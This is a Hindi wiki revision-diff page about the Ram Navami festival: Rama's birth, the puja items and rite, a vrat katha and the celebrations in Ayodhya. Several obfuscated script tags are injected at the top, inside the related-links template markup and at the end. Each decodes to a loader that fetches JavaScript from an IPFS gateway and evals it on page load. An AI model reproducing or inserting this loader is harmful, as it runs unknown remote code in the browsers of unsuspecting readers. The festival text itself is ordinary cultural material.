|
|
(इसी सदस्य द्वारा किये गये बीच के ४ अवतरण नहीं दर्शाए गए) |
पंक्ति १: |
पंक्ति १: |
| {{Menu}} | | {{Menu}} |
| ==रामनवमी / Ramnavmi== | | ==रामनवमी / Ramnavmi== |
− | [[चित्र:Ramayana.jpg|[[राम]], [[लक्ष्मण]] और [[सीता]]|thumb|250px]] | + | [[चित्र:Ramayana.jpg|[[राम]], [[लक्ष्मण]] और [[सीता]]|thumb]] |
− | [[भारत]] पर्वों का देश है, रामनवमी ऐसा ही एक पर्व है। [[चैत्र]] मास के [[शुक्ल पक्ष]] की [[प्रतिपदा]] को प्रतिवर्ष नये विक्रम सवंत्सर का प्रारंभ होता है और उसके आठ दिन बाद ही चैत्र शुक्ल पक्ष की नवमी को एक पर्व राम जन्मोत्सव का जिसे रामनवमी के नाम से जाना जाता है, समस्त देश में मनाया जाता है। इस देश की [[राम]] और [[कृष्ण]] दो ऐसी महिमाशाली विभूतियाँ रही हैं जिनका अमिट प्रभाव समूचे भारत के जनमानस पर सदियों से अनवरत चला आ रहा है।<ref>{{cite web |url=http://schools.papyrusclubs.com/bbps/voice/%E0%A4%B0%E0%A4%BE%E0%A4%AE%E0%A4%A8%E0%A4%B5%E0%A4%AE%E0%A5%80-%E0%A4%AA%E0%A4%B0%E0%A5%8D%E0%A4%B5-%E0%A4%94%E0%A4%B0-%E0%A4%B9%E0%A4%AE%E0%A4%BE%E0%A4%B0%E0%A5%80-%E0%A4%B8%E0%A4%BE%E0%A4%82%E0%A4%B8%E0%A5%8D%E0%A4%95%E0%A5%83%E0%A4%A4%E0%A4%BF%E0%A4%95-%E0%A4%AA%E0%A4%B0%E0%A4%AE%E0%A5%8D%E0%A4%AA%E0%A4%B0%E0%A4%BE |title=रामनवमी पर्व और हमारी सांस्कृतिक परम्परा |accessmonthday=[[9 अप्रैल]] |accessyear=[[2011]] |last= |first= |authorlink= |format=पापीरस क्लब |publisher=लाइव हिंदुस्तान |language=[[हिन्दी]] }}</ref> | + | [[bk:भारत|भारत]] पर्वों का देश है, रामनवमी ऐसा ही एक पर्व है। [[चैत्र]] मास के [[शुक्ल पक्ष]] की [[प्रतिपदा]] को प्रतिवर्ष नये विक्रम सवंत्सर का प्रारंभ होता है और उसके आठ दिन बाद ही चैत्र शुक्ल पक्ष की नवमी को एक पर्व राम जन्मोत्सव का जिसे रामनवमी के नाम से जाना जाता है, समस्त देश में मनाया जाता है। इस देश की [[राम]] और [[कृष्ण]] दो ऐसी महिमाशाली विभूतियाँ रही हैं जिनका अमिट प्रभाव समूचे भारत के जनमानस पर सदियों से अनवरत चला आ रहा है। |
− | | |
| रामनवमी, भगवान राम की स्मृति को समर्पित है। राम सदाचार के प्रतीक हैं, और इन्हें "मर्यादा पुरूषोतम" कहा जाता है। रामनवमी को राम के जन्मदिन की स्मृति में मनाया जाता है। राम को भगवान [[विष्णु]] का अवतार माना जाता है, जो [[पृथ्वी देवी|पृथ्वी]] पर अजेय [[रावण]] (मनुष्य रूप में असुर राजा) से युद्ध लड़ने के लिए आए। राम राज्य (राम का शासन) शांति व समृद्धि की अवधि का पर्यायवाची बन गया है। रामनवमी के दिन, श्रद्धालु बड़ी संख्या में उनके जन्मोत्सव को मनाने के लिए राम जी की मूर्तियों को पालने में झुलाते हैं। इस महान राजा की काव्य तुलसी रामायण में राम की कहानी का वर्णन है। | | रामनवमी, भगवान राम की स्मृति को समर्पित है। राम सदाचार के प्रतीक हैं, और इन्हें "मर्यादा पुरूषोतम" कहा जाता है। रामनवमी को राम के जन्मदिन की स्मृति में मनाया जाता है। राम को भगवान [[विष्णु]] का अवतार माना जाता है, जो [[पृथ्वी देवी|पृथ्वी]] पर अजेय [[रावण]] (मनुष्य रूप में असुर राजा) से युद्ध लड़ने के लिए आए। राम राज्य (राम का शासन) शांति व समृद्धि की अवधि का पर्यायवाची बन गया है। रामनवमी के दिन, श्रद्धालु बड़ी संख्या में उनके जन्मोत्सव को मनाने के लिए राम जी की मूर्तियों को पालने में झुलाते हैं। इस महान राजा की काव्य तुलसी रामायण में राम की कहानी का वर्णन है। |
| ==मर्यादा पुरुषोत्तम== | | ==मर्यादा पुरुषोत्तम== |
| भगवान विष्णु ने राम रूप में असुरों का संहार करने के लिए पृथ्वी पर अवतार लिया और जीवन में मर्यादा का पालन करते हुए मर्यादा पुरुषोत्तम कहलाए। आज भी मर्यादा पुरुषोत्तम राम का जन्मोत्सव तो धूमधाम से मनाया जाता है पर उनके आदर्शों को जीवन में नहीं उतारा जाता। [[अयोध्या]] के राजकुमार होते हुए भी भगवान राम अपने पिता के वचनों को पूरा करने के लिए संपूर्ण वैभव को त्याग 14 वर्ष के लिए वन चले गए और आज देखें तो वैभव की लालसा में ही पुत्र अपने माता-पिता का काल बन रहा है। | | भगवान विष्णु ने राम रूप में असुरों का संहार करने के लिए पृथ्वी पर अवतार लिया और जीवन में मर्यादा का पालन करते हुए मर्यादा पुरुषोत्तम कहलाए। आज भी मर्यादा पुरुषोत्तम राम का जन्मोत्सव तो धूमधाम से मनाया जाता है पर उनके आदर्शों को जीवन में नहीं उतारा जाता। [[अयोध्या]] के राजकुमार होते हुए भी भगवान राम अपने पिता के वचनों को पूरा करने के लिए संपूर्ण वैभव को त्याग 14 वर्ष के लिए वन चले गए और आज देखें तो वैभव की लालसा में ही पुत्र अपने माता-पिता का काल बन रहा है। |
| ==राम का जन्म== | | ==राम का जन्म== |
− | पुरूषोतम भगवान राम का जन्म चैत्र मास की शुक्ल पक्ष की नवमी को [[पुनर्वसु नक्षत्र]] तथा कर्क लग्न में [[कौशल्या]] की कोख से हुआ था। यह दिन भारतीय जीवन में पुण्य पर्व माना जाता हैं। इस दिन [[सरयू नदी]] में स्नान करके लोग पुण्य लाभ कमाते हैं। | + | पुरूषोतम भगवान राम का जन्म चैत्र मास की शुक्ल पक्ष की नवमी को पुनर्वसु नक्षत्र तथा कर्क लग्न में [[कौशल्या]] की कोख से हुआ था। यह दिन भारतीय जीवन में पुण्य पर्व माना जाता हैं। इस दिन सरयू नदी में स्नान करके लोग पुण्य लाभ कमाते हैं। |
− | ==अगस्त्यसंहिता के अनुसार==
| |
− | <poem>
| |
− | मंगल भवन अमंगल हारी,
| |
− | दॄवहुसु दशरथ अजिर बिहारि॥</poem>
| |
− | | |
− | अगस्त्यसंहिता के अनुसार चैत्र शुक्ल पक्ष की [[नवमी]], के दिन पुनर्वसु नक्षत्र, कर्कलग्न में जब [[सूर्य ग्रह|सूर्य]] अन्यान्य पाँच ग्रहों की शुभ दृष्टि के साथ मेष राशि पर विराजमान थे, तभी साक्षात् भगवान् श्रीराम का माता कौशल्या के गर्भ से जन्म हुआ।
| |
− | | |
− | धार्मिक दृष्टि से चैत्र शुक्ल नवमी का विशेष महत्व है। [[त्रेता युग]] में चैत्र शुक्ल नवमी के दिन रघुकुल शिरोमणि महाराज [[दशरथ]] एवं महारानी कौशल्या के यहाँ अखिल ब्रह्माण्ड नायक अखिलेश ने पुत्र के रूप में जन्म लिया था। राम का जन्म दिन के बारह बजे हुआ था, जैसे ही सौंदर्य निकेतन, शंख, चक्र, गदा, पद्म धारण किए हुए चतुर्भुजधारी श्रीराम प्रकट हुए तो माता कौशल्या उन्हें देखकर विस्मित हो गईं। राम के सौंदर्य व तेज को देखकर उनके नेत्र तृप्त नहीं हो रहे थे।
| |
− |
| |
− | देवलोक भी [[अवध]] के सामने श्रीराम के जन्मोत्सव को देखकर फीका लग रहा था। जन्मोत्सव में [[देवता]], [[ऋषि]], किन्नार, चारण सभी शामिल होकर आनंद उठा रहे थे। हम प्रतिवर्ष चैत्र शुक्ल नवमी को राम जन्मोत्सव मनाते हैं और राममय होकर कीर्तन, भजन, कथा आदि में रम जाते हैं। रामनवमी के दिन ही [[गोस्वामी तुलसीदास]] ने [[रामचरितमानस]] की रचना का श्रीगणेश किया था।
| |
| ==रामनवमी की पूजा== | | ==रामनवमी की पूजा== |
− | [[हिंदू धर्म]] में रामनवमी के दिन पूजा की जाती है। रामनवमी की पूजा के लिए आवश्यक सामग्री रोली, ऐपन, [[चावल]], [[जल]], [[भारत के पुष्प|फूल]], एक घंटी और एक [[शंख]] हैं। [[पूजा]] के बाद परिवार की सबसे छोटी महिला सदस्य परिवार के सभी सदस्यों को टीका लगाती है। रामनवमी की पूजा में पहले देवताओं पर जल, रोली और ऐपन चढ़ाया जाता है, इसके बाद मूर्तियों पर मुट्ठी भरके चावल चढ़ाये जाते हैं। पूजा के बाद आरती की जाती है और आरती के बाद गंगाजल अथवा सादा जल एकत्रित हुए सभी जनों पर छिड़का जाता है। | + | <div id="rollnone">[[चित्र:Detail-icon.gif|link=bk:रामनवमी|right]]</div> |
− | ==उद्देश्य==
| + | हिंदू धर्म में रामनवमी के दिन पूजा की जाती है। रामनवमी की पूजा के लिए आवश्यक सामग्री रोली, ऐपन, चावल, जल, फूल, एक घंटी और एक शंख हैं। पूजा के बाद परिवार की सबसे छोटी महिला सदस्य परिवार के सभी सदस्यों को टीका लगाती है। रामनवमी की पूजा में पहले देवताओं पर जल, रोली और ऐपन चढ़ाया जाता है, इसके बाद मूर्तियों पर मुट्ठी भरके चावल चढ़ाये जाते हैं। पूजा के बाद आरती की जाती है और आरती के बाद गंगाजल अथवा सादा जल एकत्रित हुए सभी जनों पर छिड़का जाता है। |
− | भगवान श्रीराम जी ने अपने जीवन का उद्देश्य अधर्म का नाश कर [[धर्म]] की स्थापना करना बताया पर उससे उनका आशय यह था कि आम इंसान शांति के साथ जीवन व्यतीत कर सके और भगवान की भक्ति कर सके। उन्होंने न तो किसी प्रकार के धर्म का नामकरण किया और न ही किसी विशेष प्रकार की भक्ति का प्रचार किया।
| |
− | ==भक्ति और ज्ञान==
| |
− | भक्ति का चरम शिखर किसी ने प्राप्त किया है तो उनमें सबसे बड़ा नाम [[कबीर|संत कबीर]] और तुलसीदासजी का है। [[मीरा]] और [[सूरदास|सूर]] भी इसी क्रम में आते हैं। [[वाल्मीकि]] और [[वेदव्यास]] को ज्ञानियों में चरम शिखर के प्रतीक मान सकते हैं। ईश्वर को प्राप्त करने के दोनों मार्ग- भक्ति और ज्ञान हैं। भगवान को भक्ति और ज्ञान दोनों ही प्रिय हैं। वाल्मीकि और वेदव्यास ने ज्ञान मार्ग को चुना तो वह समाज को ऐसी रचनाएँ दे गये कि सदियों तक उनकी चमक फीकी नहीं पड़ सकती और कबीर, तुलसी, सूर, और मीरा ने भक्ति का सर्वोच्च शिखर छूकर यह दिखा दिया है कि इस कलियुग में भी भगवान भक्ति में कितनी शक्ति है। संत कबीर जी ने अपनी रचनाओं में भक्ति और ज्ञान दोनों का समावेश इस तरह किया कि वर्तमान समय में कोई ऐसा कर सकता है यह सोचना भी कठिन है।
| |
− | ==अयोध्या की रामनवमी==
| |
− | [[चित्र:Ramlila-Mathura-3.jpg|thumb|250px|रामजन्म, [[रामलीला]], [[मथुरा]]]]
| |
− | रामनवमी के रूप में [[हिंदू|हिन्दुओं]] के आराध्य देव भगवान श्रीरामचन्द्र का जन्मदिन देश भर में मनाया जाता है, लेकिन [[अयोध्या]] में रामनवमी बहुत धूमधाम से मनाई जाती है। अयोध्या में इस दिन मेला लगता है। देश के कोने-कोने से लाखों श्रद्धालु इस मेले में पहुँचते हैं। प्राचीनकाल से ही [[धर्म]] एवं [[संस्कृति]] की परम पावन स्थली के रूप में भगवान श्रीराम की जन्मस्थली अयोध्या विख्यात है। त्रेता-युगीन [[सूर्यवंश|सूर्यवंशीय]] नरेशों की राजधानी रही अयोध्या पुरातात्विक दृष्टि से भी महत्त्व रखती है। चीनी यात्री [[फाह्यान]] व [[ह्वेनसांग]] ने भी अपने यात्रा वृत्तांतों में इस नगरी का वर्णन किया है।
| |
− | | |
− | रामनवमी के दिन भगवान [[राम]] के जन्मोत्सव के पावन पर्व पर देश-विदेश से लाखों श्रद्धालु भक्तजन अयोध्या की [[सरयू नदी]] के तट पर प्रात:काल से ही स्नान कर मंदिरों में दर्शन तथा पूजा करते हैं। इस दिन जगह-जगह संतों के प्रवचन, भजन, कीर्तन चलते रहते हैं। अयोध्या के प्रसिद्ध कौशल्या भवन मंदिर में विशेष आयोजन होते हैं। अयोध्या के प्रमुख दर्शनीय एवं ऐतिहासिक स्थलों में श्रीराम जन्मभूमि के अलावा कौशल्या भवन, कनक भवन, कैकेयी भवन, कोप भवन तथा श्रीराम के राज्याभिषेक का स्थान रत्न सिंहासन दर्शनीय हैं।
| |
− | ====परिक्रमा====
| |
− | अयोध्या भिन्न-भिन्न उत्सवों पर की जाने वाली प्रमुख परिक्रमाओं के लिए भी प्रसिद्ध है, जैसे चौरासी कोसी परिक्रमा, रामनवमी के अवसर पर चौदह कोसी परिक्रमा, [[अक्षय नवमी]] पर पाँच कोसी परिक्रमा, [[कार्तिक]] की [[एकादशी]] के अवसर पर तथा अंतर्ग्रही परिक्रमा नित्य-प्रति होती हैं तथा अयोध्या के सभी प्रमुख मंदिर एवं तीर्थ इस परिक्रमा में आ जाते हैं।<ref>{{cite web |url=http://www.livehindustan.com/news/lifestyle/lifestylenews/article1-travel-dairy-50-50-165513.html |title=रामनवमी मेला |accessmonthday=[[9 अप्रैल]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम एल |publisher=लाइव हिंदुस्तान |language=[[हिन्दी]] }}</ref>
| |
− | | |
− | ==रामनवमी व्रत==
| |
− | रामनवमी के दिन जो व्यक्ति पूरे दिन उपवास रखकर भगवान श्रीराम की पूजा करता है, तथा अपनी आर्थिक स्थिति के अनुसार दान-पुण्य करता है, वह अनेक जन्मों के पापों को भस्म करने में समर्थ होता है।
| |
− | ====विधि====
| |
− | रामनवमी का व्रत महिलाओं के द्वारा किया जाता है। इस दिन व्रत करने वाली महिला को प्रात: सुबह उठना चाहिए। घर की साफ-सफाई कर घर में गंगाजल छिड़करक शुद्ध कर लेना चाहिए। इसके पश्चात स्नान करके व्रत का संकल्प लेना चाहिए। इसके बाद एक लकड़ी के चौकोर टुकड़े पर सतिया बनाकर एक [[जल]] से भरा गिलास रखना चाहिए और अपनी अंगुली से चाँदी का छल्ला निकाल कर रखना चाहिए। इसे प्रतीक रुप से गणेशजी माना जाता है। व्रत कथा सुनते समय हाथ में [[गेहूँ]]-बाजरा आदि के दाने लेकर कहानी सुनने का भी महत्व कहा गया है।<ref name="ज्योतिष ब्लॉग">{{cite web |url=http://astrobix.com/jyotisha/post/ram-navami-2011-date-chaitra-shukla-navami-vrat-katha-vidhi.aspx |title=रामनवमी |accessmonthday=[[9 अप्रैल]] |accessyear=[[2011]] |last= |first= |authorlink= |format= |publisher=ज्योतिष ब्लॉग |language=[[हिन्दी]] }}</ref>
| |
− | | |
− | रामनवमी के व्रत के दिन मंदिर में अथवा मकान पर ध्वजा, पताका, तोरण और बंदनवार आदि से सजाने का विशेष विधि-विधान है। व्रत के दिन कलश स्थापना और राम जी के परिवार की पूजा करनी चाहिए, और भगवान श्री राम का दिनभर भजन, स्मरण, स्तोत्रपाठ, दान, पुण्य, हवन, पितृश्राद्व और उत्सव किया जाना चाहिए।
| |
− | | |
− | ====रामनवमी व्रत कथा====
| |
− | राम, [[सीता]] और [[लक्ष्मण]] वन में जा रहे थे। सीता जी और लक्ष्मण को थका हुआ देखकर राम जी ने थोड़ा रुककर आराम करने का विचार किया और एक बुढ़िया के घर गए। बुढिया सूत कात रही थी। बुढ़िया ने उनकी आवभगत की और बैठाया, स्नान-ध्यान करवाकर भोजन करवाया। राम जी ने कहा- बुढिया माई, "पहले मेरा हंस मोती चुगाओ, तो में भी करूं।" बुढ़िया बेचारी के पास मोती कहाँ से आवें, सूत कात कर ग़रीब गुज़ारा करती थी। अतिथि को ना कहना भी वह ठीक नहीं समझती थी। दुविधा में पड़ गई। अत: दिल को मज़बूत कर राजा के पास पहुँच गई। और अंजली मोती देने के लिये विनती करने लगी। राजा अचम्भे में पड़ा कि इसके पास खाने को दाने नहीं हैं। और [[मोती]] उधार मांग रही है। इस स्थिति में बुढ़िया से मोती वापस प्राप्त होने का तो सवाल ही नहीं उठता। आखिर राजा ने अपने नौकरों से कहकर बुढ़िया को मोती दिला दिये।<ref name="ज्योतिष ब्लॉग" />
| |
− | | |
− | बुढ़िया मोती लेकर घर आई, हंस को मोती चुगाए, और मेहमानों की आवभगत की। रात को आराम कर सवेरे राम जी, सीता जी और लक्ष्मण जी जाने लगे। राम जी ने जाते हुए उसके पानी रखने की जगह पर मोतियों का एक पेड़ लगा दिया। दिन बीतते गये और पेड़ बड़ा हुआ, पेड़ बढ़ने लगा, पर बुढ़िया को कु़छ पता नहीं चला। मोती के पेड़ से पास-पड़ौस के लोग चुग-चुगकर मोती ले जाने लगे।
| |
− | | |
− | एक दिन जब बुढ़िया उसके नीचे बैठी सूत कात रही थी। तो उसकी गोद में एक मोती आकर गिरा। बुढ़िया को तब ज्ञात हुआ। उसने जल्दी से मोती बांधे और अपने कपड़े में बांधकर वह क़िले की ओर ले चली़। उसने मोती की पोटली राजा के सामने रख दी। इतने सारे मोती देख राजा अचम्भे में पड़ गया। उसके पूछने पर बुढ़िया ने राजा को सारी बात बता दी। राजा के मन में लालच आ गया। वह बुढ़िया से मोती का पेड़ मांगने लगा। बुढ़िया ने कहा की आस-पास के सभी लोग ले जाते हैं। आप भी चाहे तो ले लें। मुझे क्या करना है। राजा ने तुरन्त पेड़ मंगवाया और अपने दरबार में लगवा दिया। पर रामजी की मर्जी, मोतियों की जगह कांटे हो गये और आते-आते लोगों के कपड़े उन कांटों से खराब होने लगे। एक दिन रानी की ऎड़ी में एक कांटा चुभ गया और पीड़ा करने लगा। राजा ने पेड़ उठवाकर बुढ़िया के घर वापस भिजवा दिया। पेड़ पर पहले की तरह से मोती लगने लगे। बुढ़िया आराम से रहती और ख़ूब मोती बांटती।
| |
− | ====व्रत का फल====
| |
− | श्री रामनवमी का व्रत करने से व्यक्ति के ज्ञान में वृ्द्धि होती है। उसकी धैर्य शक्ति का विस्तार होता है। इसके अतिरिक्त उपवासक को विचार शक्ति, बुद्धि, श्रद्धा, भक्ति और पवित्रता की भी वृ्द्धि होती है। इस व्रत के विषय में कहा जाता है, कि जब इस व्रत को निष्काम भाव से किया जाता है। और आजीवन किया जाता है, तो इस व्रत के फल सर्वाधिक प्राप्त होते हैं।<ref name="ज्योतिष ब्लॉग" />
| |
− | | |
− | रामनवमी और [[जन्माष्टमी]] तो उल्लासपूर्वक मनाते हैं पर उनके कर्म व संदेश को नहीं अपनाते। [[कृष्ण]] द्वारा [[अर्जुन]] को दिया गया गीता ज्ञान आज सिर्फ एक ग्रंथ बनकर रह गया है। तुलसीदासजी ने रामचरितमानस में भगवान राम के जीवन का वर्णन करते हुए बताया है कि श्रीराम प्रातः अपने माता-पिता के चरण स्पर्श करते थे जबकि आज चरण स्पर्श तो दूर बच्चे माता-पिता की बात तक नहीं मानते।<ref>{{cite web |url=http://hindi.webdunia.com/religion/occasion/ramnavmi/1003/22/1100322059_1.htm |title=रामनवमी |accessmonthday=[[9 अप्रैल]] |accessyear=[[2011]] |last= |first= |authorlink= |format=एच टी एम |publisher=वेबदुनिया |language=[[हिन्दी]] }}</ref>
| |
| | | |
− | ==टीका टिप्पणी और संदर्भ==
| |
− | <references/>
| |
| ==सम्बंधित लिंक== | | ==सम्बंधित लिंक== |
| {{पर्व और त्योहार}} | | {{पर्व और त्योहार}} |
पंक्ति ५८: |
पंक्ति १७: |
| [[Category:पर्व और त्योहार]] | | [[Category:पर्व और त्योहार]] |
| __INDEX__ | | __INDEX__ |
| + | __NOTOC__ |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
रामनवमी / Ramnavmi
थंबनेल बनाने में त्रुटि हुई है: /bin/bash: /usr/local/bin/convert: No such file or directory Error code: 127
भारत पर्वों का देश है, रामनवमी ऐसा ही एक पर्व है। चैत्र मास के शुक्ल पक्ष की प्रतिपदा को प्रतिवर्ष नये विक्रम सवंत्सर का प्रारंभ होता है और उसके आठ दिन बाद ही चैत्र शुक्ल पक्ष की नवमी को एक पर्व राम जन्मोत्सव का जिसे रामनवमी के नाम से जाना जाता है, समस्त देश में मनाया जाता है। इस देश की राम और कृष्ण दो ऐसी महिमाशाली विभूतियाँ रही हैं जिनका अमिट प्रभाव समूचे भारत के जनमानस पर सदियों से अनवरत चला आ रहा है।
रामनवमी, भगवान राम की स्मृति को समर्पित है। राम सदाचार के प्रतीक हैं, और इन्हें "मर्यादा पुरूषोतम" कहा जाता है। रामनवमी को राम के जन्मदिन की स्मृति में मनाया जाता है। राम को भगवान विष्णु का अवतार माना जाता है, जो पृथ्वी पर अजेय रावण (मनुष्य रूप में असुर राजा) से युद्ध लड़ने के लिए आए। राम राज्य (राम का शासन) शांति व समृद्धि की अवधि का पर्यायवाची बन गया है। रामनवमी के दिन, श्रद्धालु बड़ी संख्या में उनके जन्मोत्सव को मनाने के लिए राम जी की मूर्तियों को पालने में झुलाते हैं। इस महान राजा की काव्य तुलसी रामायण में राम की कहानी का वर्णन है।
मर्यादा पुरुषोत्तम
भगवान विष्णु ने राम रूप में असुरों का संहार करने के लिए पृथ्वी पर अवतार लिया और जीवन में मर्यादा का पालन करते हुए मर्यादा पुरुषोत्तम कहलाए। आज भी मर्यादा पुरुषोत्तम राम का जन्मोत्सव तो धूमधाम से मनाया जाता है पर उनके आदर्शों को जीवन में नहीं उतारा जाता। अयोध्या के राजकुमार होते हुए भी भगवान राम अपने पिता के वचनों को पूरा करने के लिए संपूर्ण वैभव को त्याग 14 वर्ष के लिए वन चले गए और आज देखें तो वैभव की लालसा में ही पुत्र अपने माता-पिता का काल बन रहा है।
राम का जन्म
पुरूषोतम भगवान राम का जन्म चैत्र मास की शुक्ल पक्ष की नवमी को पुनर्वसु नक्षत्र तथा कर्क लग्न में कौशल्या की कोख से हुआ था। यह दिन भारतीय जीवन में पुण्य पर्व माना जाता हैं। इस दिन सरयू नदी में स्नान करके लोग पुण्य लाभ कमाते हैं।
रामनवमी की पूजा
हिंदू धर्म में रामनवमी के दिन पूजा की जाती है। रामनवमी की पूजा के लिए आवश्यक सामग्री रोली, ऐपन, चावल, जल, फूल, एक घंटी और एक शंख हैं। पूजा के बाद परिवार की सबसे छोटी महिला सदस्य परिवार के सभी सदस्यों को टीका लगाती है। रामनवमी की पूजा में पहले देवताओं पर जल, रोली और ऐपन चढ़ाया जाता है, इसके बाद मूर्तियों पर मुट्ठी भरके चावल चढ़ाये जाते हैं। पूजा के बाद आरती की जाती है और आरती के बाद गंगाजल अथवा सादा जल एकत्रित हुए सभी जनों पर छिड़का जाता है।
सम्बंधित लिंक
[[Template:पर्व और त्योहार<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|देखें]] • [[|वार्ता]] • [{{fullurl:Template:पर्व और त्योहार<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}बदलें] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> पर्व और त्योहार |
---|
| | |
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>